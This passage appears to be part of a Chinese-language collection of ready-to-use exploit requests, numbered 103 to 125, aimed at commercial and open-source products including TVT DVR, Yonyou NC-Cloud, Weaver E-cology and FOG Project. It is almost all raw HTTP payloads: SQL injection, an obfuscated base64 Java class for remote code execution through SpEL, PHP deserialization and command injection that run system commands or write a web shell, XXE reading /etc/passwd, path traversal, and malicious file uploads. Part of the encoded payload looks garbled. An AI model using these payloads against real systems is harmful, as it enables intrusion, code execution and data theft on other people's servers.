<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:mes="MessageService">
    <soapenv:Header/>
    <soapenv:Body>
        <mes:getWorkGroups/>
    </soapenv:Body>
</soapenv:Envelope>
```

103.TVT DVR 接口 queryDevInfo 存在信息泄漏(CVE-2024-7339)

```
POST /queryDevInfo HTTP/1.1
Host:
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS like Mac OS X) AppleWebKit (KHTML, like Gecko)
Version Mobile Safari
Content-Length: 105
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8" ?>
<request version="1.0" systemType="NVMS-9000" clientType="WEB"/>
```

104.契约锁电子签章平台 /param/edits 远程代码执行漏洞

```
POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/2
Host:
Content-Type: application/json
X-State: id
Content-Length: 9778

{"id":"2","params":[{"expression":"var a=new
org.springframework.expression.spel.standard.SpelExpressionParser();var
b='VCAob3JnLnNwcmluZ2ZyYW1ld29yay5jZ2xpYi5jb3JlLlJlZmxlY3RVdGlscykuZGVmaW5lQ2xhc3M
oIlF5c1Rlc3QiLFQgKG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5CYXNlNjRVdGlscykuIGRlY29kZUZy
b21TdHJpbmcoInl2NjZ2Z0FBQURJQktBb0FJUUNXQ0FDWENnQ1lBSmtLQUpnQW1nb0Ftd0NjQ0F
DZENnQ2JBSjRIQUo4SUFLQUlBS0VJQUtJSUFLTUtBQjhBcEFvQXBRQ21DQUNuQ2dDWUFLZ0tBS1V
BcVFjQWd3b0FtQUNxQ0FDckNnQXNBS3dLQUNFQXJRb0FId0NxQ0FDdUNnQWZBSzhLQUxBQXFn
Z0FzUW9BTEFDeUNBQ3pDQUMwQndDMUNnQWZBTFlIQUxjS0FMZ0F1UWdBdWdjQXV3Z0F2Q
WdBdlFjQXZnb0FKd0MvQ2dBbkFNQUtBQ2NBd1FnQXdnY0F3d2dBeEFnQXhRa0F4Z0RIQ2dER0FN
Z0lBTWtIQU1vSUFNc0lBTXdJQU0wS0FNNEF6d29BTEFEUUNBRFJDQURTQ0FEVENBRFVDQURWQn
dEV0NnRFhBTmdLQU5jQTJRb0EyZ0RiQ2dBOUFOd0lBTjBLQUQwQTNnb0FQUURmQndEZ0NnQkZ
BSllJQU9FS0FDd0E0Z29BUlFEakNBRGtDQURsQndEbUNnQk1BT2NJQU9nSEFPa0JBQVk4YVc1cGRE
NEJBQU1vS1ZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXhsQVFBU1RHOWpZV3hXW
VhKcFlXSnNaVlJoWW14bEFRQUVkR2hwY3dFQUNVeFJlWE5VWlhOME93RUFDR1J2U1c1cVpXTjBB
UUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBVjJZWEl5T0FFQUlreHFZWFpoTDJ4aGJtY3Z
RMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmpzQkFBVjJZWEl5TmdFQUdVeHFZWFpoTDJ4a
GJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFBVjJZWEl5TndFQUlVeHFZWFpoTDJ4aGJtY3ZUbTlUZF
```

dOb1RXVjBhRzlrUlhoalpYQjBhVzl1T3dFQUJYWmhjak14QVFBRmRtRnlNeklCQUJKTWFtRjJZUzlzWV
c1bkwwOWlhbVZqZERzQkFBVjJZWEl6TXdFQUJYSmxjRzl1QVFBRGMzUnlBUUFTVEdwaGRtRXZiR0Z
1Wnk5VGRISW5BibWM3QVFBRVkyMWtjd0VBRTF0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbH
laWE4xYkhSVGRISUJBQVpsYm1OdlpHVUJBQVYyWVhJek1BRUFCWFpoY2pJNUFRQUJTUUVBQlhhaa
GNqSXhBUUFGZG1GeU1qSUJBQVYyWVhJeU13RUFCWFpoY2pJME1FRlFRUUZkbUZ5TWpVQkFBVjJZW
EkzT0FFQUZVeHFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBPd0VBQlhaaGNqSXdBUUFGZG1GeU
U1Ua0JBQkpNYW1GMllTOXNZVzVuTDFSb2NtOTNZV0pzWlRzQkFBUjFZWEF5ZnpTc3BoQzJhWkxCQS
VIyWVhJNUFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweHVWZ1JzY2pzQkFBVjJZWEl4TUFFQUVV
eHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZkbUZ5TVRFQkFBVjJZWEl4TVdGQUJYWmhjakV6QV
FBRmRtRnlNVFFCQUFWMllYSXhPUUVBQlhhaGNqRTJBQUFGVnB4cVlYWmhMMnhoYzM1ldjZHaHla
V0ZrT3dFQUJYWmhjakUzQVFBQldnRUFGVXhxWVhaaEwyeGhibWN2UlhoaGFwYUVyYm1zUVJXQVFFy
MXpad0VBRFZOMFFXTnJZV0dsTlhnbFRmSk1VV0V6eV9RZkJGQ01FWWlBbkFVSUh0OzNAUFeNTGJBOEFVaGVYWHFZmVNVLo
...

N0tWb0JBQWhuWlhSRGJHRnpjd0VBRXlncFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQkFBcG5aWFJ
RWVdOcllXZGxBUUFWS0NsTWFtRjJZUzlzWVc1bkwxQmhZMnRoWjJVN0FRQVJhbUYyWVM5c1lXN
W5MMUJoWTJ0aFoyVUJBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1Zv
QkFBbG5aWFJOWlhSb2IyUUJBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMM
nhoYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBWW
FtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrQVFBR2FXNTJiMnRsQVFBNUtFeHFZWFpoTDJ4
aGJtY3ZUMkpxWldOME8xdE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRn
VaeTlQWW1wbFkzUTdBUUFGWTJ4dmJtVUJBQlFvS1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dF
QUJITnBlbVVCQUFNb0tVa0JBQlVvU1NsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFCRnFZWFpoT
DJ4aGJtY3ZTVzUwWldkbGNnRUFCRlJaVUVVQkFBZDJZV3gxWlU5bUFRQVdLRWtwVEdwaGRtRXZiR
0Z1Wnk5SmJuUmxaMlZ5T3dFQUVHcGhkbUV2YkdGdVp5OVRlWE4wWlcwQkFBdG5aWFJRY205d1
pYSjBlUUVBSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1
jN0FRQUxkRzlNYjNkbGNrTmhjMlVCQUJGcVlYWmhMMnhoYm1jdlVuVnVkR2x0WlFFQUNtZGxkRk
oxYm5ScGJXVUJBQlVvS1V4cVlYWmhMMnhoYm1jdlVuVnVkR2x0WlRzQkFBUmxlR1ZqQVFBb0tGd
E1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVd
waGRtRXZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeHFZWF
poTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3
BWZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwV
EdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUJHNWxlSFFCQUFoblpYUkNlWFJsY3dFQUZpaE1hb
UYyWVM5c1lXNW5MMU4wY21sdVp6c3BXMElCQUJZb1cwSXBUR3BoZG1FdmJHRnVaeTlUZEhKcG
JtYzdBUUFQY0hKcGJuUlRkR0ZqYTFSeVlXTmxBQ0VBVHdBaEFBQUFBQUFDQUFFQVVBQlJBQUVBV
WdBQUFDOEFBUUFCQUFBQUJTcTNBQUd4QUFBQUFnQlRBQUFBQmdBQkFBQUFDUUJVQUFBQU
RBQUJBQUFBQlFCVkFGWUFBQUFKQUZjQVdBQUJBRklBQUFjaUFBWUFJQUFBQXVrU0FrdTRBQU5
NSzdZQUJMWUFCVTBzRWdhMkFBZFhwd0FKVGl1MkFBUk5MQklKdGdBSFRpd1NDcllBQnpvRUxC
SUd0Z0FIT2dVc0VndTJBQWM2QmhrRUVneTJBQTA2QnhrSEJMWUFEaTBTRDdZQURUb0lHUWdFd
GdBT0dRY3J0Z0FRdGdBUndBQVN3QUFTd0FBU3dBQVNPZ2tETmdvRE5nc1ZDeGtKdnFJQ1hCa0pG
UXN5T2d3WkRNWUNTaGtNdGdBVEVoUzJBQldaQWowWkNCa010Z0FST2cwWkRjWUNMeGtOdG
dBV3RnQVhFaGkyQUJXWkFoOFpEYllBRnJZQUdiWUFHaElidGdBY21RSU1HUTIyQUJZU0hiWUFEVG
9PR1E0RXRnQU9HUTRaRGJZQUVUb1BHUSsyQUJZU0hnTzlBQisyQUNBWkR3TzlBQ0cyQUNJNkVBR
TZFUmtRdGdBV0VpTUR2UUFmdGdBZ0dSQUR2UUFodGdBaU9oR25BQ0E2RWhrUXRnQVdFaVcyQ
UEwNkV4a1RCTFlBRGhrVEdSQzJBQkU2RVJrR0VpYTJBQTA2RWhrU0JMWUFEaGtTR1JHMkFCSEFB
Q2M2RXhrVHRnQW93QUFuT2hRRE5oVVZGUmtVdGdBcG9nRmlHUlFWRmJZQUtqb1dHUmJHQV
U0WkJSSXJBNzBBSDdZQUlCa1dBNzBBSWJZQUlzQUFMRG9YR1JmR0FUQVpGN2dBQTdZQUU3WU
FISmtCSWhrRkVpMjJBQTA2R0JrWUJMWUFEaGtZR1JhMkFCRTZHUmtadGdBV0VpNEV2UUFmV1F
PeUFDOVR0Z0FnR1JrRXZRQWhXUU1FdUFBd1U3WUFJam9hR1JxMkFCWVNNUU85QUIvQUFESzJ
BQ0FaR2dPOUFDRzJBQ0k2R3hrWnRnQVdFak1FdlFBZldRTVRBQ3hUdGdBZ0dSa0V2UUFoV1FNU0
5GTzJBQ0xBQUN3NkhCSTF1QUEydGdBM0VqaTJBQldaQUJrR3ZRQXNXUU1TT1ZOWkJCSTZVMWt
GR1J4VHB3QVdCcjBBTEZrREVqdFRXUVFTUEZOWkJSa2NVem9kdXdBOVdiZ0FQaGtkdGdBL3RnQkF
0d0JCRWtLMkFFTzJBRVE2SHJzQVJWbTNBRVlaSGhKSHRnQkl0Z0JKT2g4Wkc3WUFGaEpLQmIwQU
gxa0RFd0FzVTFrRUV3QXNVN1lBSUJrYkJiMEFJVmtERWpSVFdRUVpIbE8yQUNKWEJEWUtwd0FKaE
JVQnAvNmFGUXFaQUFhbkFBbUVDd0duL2FJU1MwdW5BQXRNSzdZQVRSSk9TeXF3QUFNQUR3QV
dBQmtBQ0FFQkFSb0JIUUFrQUFNQzNBTGZBRXdBQXdCVEFBQUJBZ0JBQUFBQUN3QURBQTRBQnd
BUEFBOEFFZ0FXQUJVQUdRQVRBQm9BRkFBZkFCY0FKZ0FZQUM0QUdRQTJBQm9BUGdBYkFFY0FI
QUJOQUIwQVZRQWVBRnNBSHdCeUFDQUFkUUFpQUlBQUl3Q0hBQ1FBbVFBbEFLSUFKZ0RLQUNj

```
QTFnQW9BTndBS1FEbEFDb0EvZ0FyQVFFQUxnRWFBRE1CSFFBdkFSOEFNQUVyQURFQk1RQXlBVG
9BTlFGREFEWUJTUUEzQVZVQU9BRmZBRG9CYkFBN0FYVUFQQUY2QUQwQmt3QStBYVlBUHdHdk
FFQUJ0UUJCQWI0QVFnSGtBRU1DQUFCRkFpY0FTQUppQUVrQ2ZnQktBcEVBU3dLL0FFd0N3Z0JO
QXNVQU9nTExBRklDMEFCVEF0TUFJZ0xaQUcwQzNBQnhBdDhBYmdMZ0FHOEM1QUJ3QXVjQWN
3QlVBQUFCYWdBa0FCb0FCUUJaQUZvQUF3RXJBQThBV3dCY0FCTUJId0FiQUYwQVhnQVNBYThCR
mdCZkFGd0FHQUcrQVFjQVlBQmhBQmtCNUFEaEFHSUFZUUFhQWdBQXhRQmpBR0VBR3dJbkFKN
EFaQUJsQUJ3Q1lnQmpBR1lBWndBZEFuNEFSd0JvQUdVQUhnS1JBRFFBYVFCbEFCOEJrd0V5QUdvQ
VpRQVhBWFVCVUFCckFHRUFGZ0ZpQVdrQVdRQnNBQlVBMWdIOUFHMEFYQUFPQU9VQjdnQnVB
R0VBRHdEK0FkVUFid0JoQUJBQkFRSFNBSEFBWVFBUkFVTUJrQUJ4QUZ3QUVnRlZBWDRBY2dCekF
CTUJYd0YwQUYwQWN3QVVBS0lDTVFCMEFHRUFEUUNIQWt3QWRRQjJBQXdBZUFKaEFIY0FiQUF
MQUFjQzFRQjRBSFlBQVFBUEFzMEFlUUI2QUFJQUpnSzJBSHNBZkFBREFDNENyZ0I5QUh3QUJBQTJ
BcVlBZmdCOEFBVUFQZ0tlQUg4QWZBQUdBRWNDbFFDQUFGd0FCd0JWQW9jQWdRQmNBQWdB
Y2dKcUFJSUFnd0FKQUhVQ1p3Q0VBSVVBQ2dMZ0FBY0Fld0NHQUFFQUF3TG1BSWNBWlFBQUFJZ
0FBQUdYQUE3L0FCa0FBd2NBaVFjQWlnY0Fpd0FCQndDTUJmOEFXQUFNQndDSkJ3Q0tCd0NMQn
dDTkJ3Q05Cd0NOQndDTkJ3Q09Cd0NPQndBU0FRRUFBUDhBcEFBU0J3Q0pCd0NLQndDTEJ3Q05C
d0NOQndDTkJ3Q05Cd0NPQndDT0J3QVNBUUVIQUlvSEFJOEhBSTRIQUk4SEFJOEhBSThBQVFjQWt
Cei9BQ2NBRmdjQWlRY0FpZ2NBaXdjQWpRY0FqUWNBalFjQWpRY0FqZ2NBamdjQUVnRUJCd0NL
QndDUEJ3Q09Cd0NQQndDUEJ3Q1BCd0NPQndDUkJ3Q1JBUUFBL3dEcUFCMEhBSWtIQUlvSEFJc0
hBSTBIQUkwSEFJMEhBSTBIQUk0SEFJNEhBQklCQVFjQWlnY0Fqd2NBamdjQWp3Y0Fqd2NBandjQ
WpnY0FrUWNBa1FFSEFJOEhBSWtIQUk0SEFJOEhBSThIQUk4SEFja0FBRklIQUpML0FHUUFGZ2NBa
VFjQWlnY0Fpd2NBalFjQWpRY0FqUWNBalFjQWpnY0FqZ2NBRWdFQkJ3Q0tCd0NQQndDT0J3Q1B
Cd0NQQndDUEJ3Q09Cd0NSQndDUkFRQUErZ0FGL3dBSEFBd0hBSWtIQUlvSEFJc0hBSTBIQUkwSEF
JMEhBSTBIQUk0SEFJNEhBQklCQVFBQStnQUYvd0FGQUFFSEFJa0FBUWNBa3djQUFRQ1VBQUFBQ
WdDViIpLG5ldyBqYXZheC5tYW5hZ2VtZW50LmxvYWRpbmcuTUxldChuZXcgamF2YS5uZXQuVVJM
WzBdLFQgKGphdmEubGFuZy5UaHJlYWQpLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3N
Mb2FkZXIoKSkpLmRvSW5qZWN0KCk=';var b64=java.util.Base64.getDecoder();var deStr=new
java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]}
```

105.3C 环境自动监测监控系统 ReadLog 文件读取漏洞

```
GET /ajax/sys/LogService.ashx?Method=ReadLog&FileName=../web.config HTTP/1.1
Host:
```

106.信呼 OA v2.6.2 存在 SQL 注入漏洞

```
GET
/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIH
NsZWVwKDUpIw== HTTP/1.1
Host: {{Hostname}}
```

107.满客宝智慧食堂系统 selectUserByOrgId 存在未授权访问漏洞

```
GET /yuding/selectUserByOrgId.action?record=?record HTTP/1.1
Host: {{Hostname}}
```

108.用友 NC-Cloud 系统 queryPsnInfo 存在 SQL 注入漏洞

```
GET
/ncchr/pm/obj/queryPsnInfo?staffid=1%27+AND+1754%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%281751%3D1754%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29--+Nzkh HTTP/1.1
Host:
Accesstokenncc:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
```

109.用友 NC-Cloud 系统 queryStaffByName 存在 SQL 注入漏洞

```
GET
/ncchr/pm/staff/queryStaffByName?name=1%27+AND+7216%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%287216%3D7216%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29--+hzDZ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/41.0.887.0 Safari/532.1
Accesstokenncc:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
```

110.PEPM Cookie 远程代码执行漏洞

```
POST / HTTP/1.1
```

```
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Cookie:
auth=a%3A1%3A%7Bi%3A0%3BO%3A18%3A%22phpseclib%5CNet%5CSSH1%22%3A2%3A%7Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3BO%3A19%3A%22phpseclib%5CCrypt%5CAES%22%3A8%3A%7Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3Bi%3A1%3Bs%3A10%3A%22block_size%22%3BN%3Bs%3A12%3A%22inline_crypt%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22phpseclib%5CCrypt%5CTripleDES%22%3A6%3A%7Bs%3A10%3A%22block_size%22%3Bs%3A45%3A%221%29%7B%7D%7D%7D%3B%20ob_clean%28%29%3Bsystem%28%27whoami%27%29%3Bdie%28%29%3B%20%3F%3E%22%3Bs%3A12%3A%22inline_crypt%22%3BN%3Bs%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3B%7Di%3A1%3Bs%3A26%3A%22_createInlineCryptFunction%22%3B%7Ds%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3B%7D%7D%7D
```

111.积木报表 /jeecg-boot/jmreport/save 权限绕过漏洞

```
POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101 Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

112.百易云资产管理运营系统 comfileup.php 文件上传漏洞

```
POST /comfileup.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101 Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------1110146050
```

```
----------1110146050
Content-Disposition: form-data; name=""file"";filename=""rce.php""

<?php phpinfo(); ?>
----------1110146050--
```

113.易宝 OA ExecuteSqlForSingle SQL 注入漏洞

```
POST /api/system/ExecuteSqlForSingle HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded

token=zxh&sql=select
substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)&strParameters
```

114.苏州科达科技多媒体录播系统存在信息泄露漏洞

```
POST /fcgi-bin/vrswebinterpreter.fcgi HTTP/1.1
Host: {{Hostname}}
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS like Mac OS X) AppleWebKit (KHTML, like Gecko)
Version Mobile Safari
Content-Type: application/xml

{""msgid"":3061,""usermoid"":""11111111-11111111-11111111-11111111"",""userdomainmoid
"":""11111111-11111111-11111111-11111111"",""rightmask"":268435455,""content"":{""userd
omainmoid"":"""",""StartPos"":0,""EndPos"":14,""IncludeName"":""""}}
```

115.用友 U9 系统 DoQuery 接口存在 SQL 注入

```
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host: {{Hostname}}
```

```
Content-Type: text/xml; charset=utf-8
SOAPAction: ""http://tempuri.org/DoQuery""

<?xml version=""1.0"" encoding=""utf-8""?>
<soap:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance""
xmlns:xsd=""http://www.w3.org/2001/XMLSchema""
xmlns:soap=""http://schemas.xmlsoap.org/soap/envelope/"">
  <soap:Body>
    <DoQuery xmlns=""http://tempuri.org/"">
      <token></token>
      <command>select 1;waitfor delay '0:0:1' --</command>
    </DoQuery>
  </soap:Body>
</soap:Envelope>
```

116.科荣 AIO 系统 UtilServlet 存在任意命令执行漏洞

```
POST /UtilServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded

operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamRe
ader(Runtime.getRuntime().exec(""cmd.exe+/c+ipconfig"").getInputStream()))%3bString+line%3b
StringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.ap
pend(line)%3b}return+new+String(b)%3b&fieldName=example_field
```

117.公众号无限回调系统 ajax.php 存在 SQL 注入漏洞

```
POST /user/ajax.php?act=siteadd HTTP/1.1
Host:
Connection: close
Content-Length: 27

siteUrl=';select sleep(3)#'
```

118.泛微 E-cology8 deleteRequestInfoByXml 存在 XXE 漏洞

```
POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
Host:
Content-Type: application/xml
Content-Length: 131

<?xml version=""1.0"" encoding=""utf-8""?>
<!DOCTYPE syscode SYSTEM ""file:///etc/passwd"">
<M><syscode>&send;</syscode></M>
```

119.魔方网表 mailupdate.jsp 接口 任意文件上传

```
GET
/magicflu/html/mail/mailupdate.jsp?messageid=/../../../test1.jsp&messagecontent=%3C%25+ou
t.println%28%22tteesstt1%22%29%3B%25%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: /
Host:
Connection: close
```

120.捷诚管理信息系统 SQL 注入漏洞

```
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.36,
Connection: close,
Accept: */*,
Accept-Language: en,
Content-Type: text/xml; charset=utf-8,
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
```

```
<GetOSpById xmlns="http://tempuri.org/">
<sId>1';waitfor delay '0:0:5'--+</sId>
</GetOSpById>
</soap:Body>
</soap:Envelope>
```

121.fogproject 系统接口 export.php 存在远程命令执行漏洞

```
POST
/fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET[""'cmd'""]);+?>'
+>+shell.php)&type=pdf HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

fogguiuser=fog&nojson=2
```

122.PEPM 系统 Cookie 存在远程代码执行漏洞

```
POST / HTTP/1.1
Host:
Cookie:
auth=a%3A1%3A%7Bi%3A0%3BO%3A18%3A%22phpseclib%5CNet%5CSSH1%22%3A2%3A%7Bs
%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3BO%3A19%3A%22phpsecli
b%5CCrypt%5CAES%22%3A8%3A%7Bs%3A10%3A%22block_size%22%3BN%3Bs%3A12%3A%22i
nline_crypt%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22phpseclib%5CCrypt%5CTripleDES
%22%3A6%3A%7Bs%3A10%3A%22block_size%22%3Bs%3A45%3A%221)%7B%7D%7D%7D%3B%
20ob_clean()%3Bsystem('whoami')%3Bdie()%3B%20%3F%3E%22%3Bs%3A12%3A%22inline_cryp
t%22%3BN%3Bs%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22
%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3B
%7Di%3A1%3Bs%3A26%3A%22_createInlineCryptFunction%22%3B%7Ds%3A16%3A%22use_inli
ne_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%2
2%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3Bs%3A6%3A%22bitmap%22%3Bi%3A1%3
Bs%3A6%3A%22crypto%22%3Bi%3A1%3B%7D%7D%7D
```

123.同享人力管理管理平台 UploadHandler 存在任意文件上传漏洞

```
POST /Handler/UploadHandler.ashx?folder=Uploadfile2 HTTP/1.1
Host:
accept: */*
Content-Type: multipart/form-data; boundary=----------------------------123
Content-Length: 226
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

----------------------------123
Content-Disposition: form-data; name="Filedata"; filename="12333.aspx"
Content-Type: text/plain

safdsfsfaa
----------------------------123--
```

124.小狐狸 Chatgpt 付费创作系统存在任意文件上传漏洞

```
POST /web.php/video/uploadMedia HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 594
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhp8gBUbCczcaLGAa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
```

```
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=662e1cea3d0191
Connection: close

------WebKitFormBoundaryhp8gBUbCczcaLGAa
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

你的图片数据
<?php phpinfo();?>
------WebKitFormBoundaryhp8gBUbCczcaLGAa--
```

125.灵动业务架构平台(LiveBOS)系统 UploadImage.do 接口文件上传漏洞

```
POST /feed/UploadImage.do;.css.jsp HTTP/1.1
Host: {{Hostname}}
Httpsendrequestex: true
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Postman-Token: 049266bd-e740-40bf-845f-bc511296894e
Accept-Encoding: gzip, deflate
